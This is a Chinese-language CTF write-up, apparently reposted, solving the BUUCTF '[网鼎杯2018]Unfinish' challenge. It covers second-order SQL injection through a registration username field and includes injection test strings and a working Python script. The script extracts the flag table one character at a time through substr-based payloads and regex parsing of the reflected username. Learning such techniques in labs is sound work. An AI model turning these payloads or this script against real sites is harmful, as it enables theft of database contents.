复习BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr
Posted Zero_Adam
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了复习BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr相关的知识,希望对你有一定的参考价值。
一、自己做:
测试,看到用户名有回显,那么就是又一次从数据库中查询数据,可能有SQL注入的可能,然后我在注册用户名的时候,加上了 '
,然后就死活注册不了,,
也不给我报错,,我在这里也想了一会,,想不明白
后来想到了,可能是报错,然后就没执行,然后我用了万能密码来的。
用户名:a'1 or '1
。
你注册成功后,他就会自动跳转到login.php的。
然后用邮箱,密码登陆成功了。 用户名为 :1 。
接着测试一下:
,,直接没有变化,也就是 注册失败了。
在意料之内,这就表示 0 ,错误了,
然后进一步测试:
呃,有过滤,fuzz一下把,
用户名 : a1' or '(ascii(substr(database(),1,1))>0)
过滤的好像不多(至少从我的字典中看来):
这些都被过滤了。
二、学到的
- 这个 直接出 substr的数值,这个思路不需要 bool 注入点。强的一批。思路真心牛皮。
- 如果能够使用 substr 带出数据的话,试一下这个思路,不用bool注入点能够带出,同样,这个就不是bool注入了,是 二次注入。第二次查询。
三、 学习WP
payload的思路直接是抄袭的,侵权了联系我。
python爬虫 + re 尝试(尝试思路,):
1. substr思路:
注意,这里要带上 session,每一次注册,登陆是一次,是有记忆的。
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
# print(content)
con = re.search('<span class="user-name">(.*)</span>',content,re.S)
# re.findall也不错,也挺好,
# con = re.search('<span class="user-name">(.*)</span>',content,re.M|re.S)
print(con.group())
!!!
con = re.search('<span class="user-name">(.*)</span>',content,re.S)
这样是贪婪模式,我希望他在第一个位置就停下来的,所以我需要非贪婪模式
非贪婪模式:.*? 加个 ? 就行了
con = re.search('<span class="user-name">(.*?)</span>',content,re.S)
那既然这样,我们就不必要用 re.search 来做了,用re.findall来做,这个只返回中间的东西,
注:findall,就不用 group了。
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
# print(content)
con = re.findall('<span class="user-name">(.*?)</span>',content,re.S)
# re.findall也不错,也挺好,
# con = re.search('<span class="user-name">(.*)</span>',content,re.M|re.S)
print(con)
列表,那就输出con[0]
,这样就获得了数字了,
再就是去掉两旁的空格。
就好了。
最后的payload
#coding:utf-8
import requests
import re
url = 'http://4d7fce64-1ecf-41a0-a416-295a21ea6617.node3.buuoj.cn/'
m = ''
for i in range(100):
payload = "0'+ascii(substr((select * from flag) from {} for 1))+'0".format(i+1)
register = {'email':'abc{}@qq.com'.format(i),'username':payload,'password':'123456'}
login = {'email':'abc{}@qq.com'.format(i),'password':'123456'}
req = requests.session()
r1 = req.post(url+'register.php',data = register)
r2 = req.post(url+'login.php', data = login)
r3 = req.post(url+'index.php')
content = r3.text
# print(content)
con = re.findall('<span class="user-name">(.*?)</span>',content,re.S|re.M)
# re.findall也不错,也挺好,
# con = re.search('<span class="user-name">(.*)</span>',content,re.M|re.S)
# print(con[0].strip())
a = int (con[0].strip()) # 转一下 类型,因为html中的是str的, 要转为int才行。
# print(type(a))
m = m+chr(a)
print(m)
hex思路:
我就记得,这个题我做过,但是 没有知道到,,可算知道了,,这个比赛抄袭2018的网鼎杯的题,,,吐了,,hex的方法就看这个把,
[RootersCTF2019]I_<3_Flask — sql注入新方法:—‘0’+‘0’的奇怪方式来做 — 二次注入–hex双重编码- 16进制—ascii也可以的
以上是关于复习BUUCTF:[网鼎杯2018]Unfinish --- python爬虫 + re sql注入,substr二次注入,hex二次注入 不用bool注入点的substr的主要内容,如果未能解决你的问题,请参考以下文章